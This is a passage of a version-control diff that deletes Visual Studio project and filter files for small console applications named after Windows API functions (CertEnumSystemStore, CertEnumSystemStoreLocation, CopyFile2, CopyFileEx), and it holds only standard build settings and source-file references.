<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;Crypt32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;Crypt32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;Crypt32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;Crypt32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="CertEnumSystemStore.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -1,22 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="CertEnumSystemStore.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -1,155 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{af51fd2c-1d6c-4110-8e1b-f016f2eeafc7}</ProjectGuid>
<RootNamespace>CertEnumSystemStoreLocation</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;Crypt32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;Crypt32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;Crypt32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;Crypt32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="CertEnumSystemStoreLocation.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -1,22 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="CertEnumSystemStoreLocation.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -1,151 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{334b4d7e-2c6e-4bbf-aac0-879c72344b00}</ProjectGuid>
<RootNamespace>CopyFile2</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="CopyFile2.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -1,22 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="CopyFile2.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -1,151 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{c8677ca2-23b4-4148-8298-75dc082dd05c}</ProjectGuid>
<RootNamespace>CopyFileEx</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v100</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
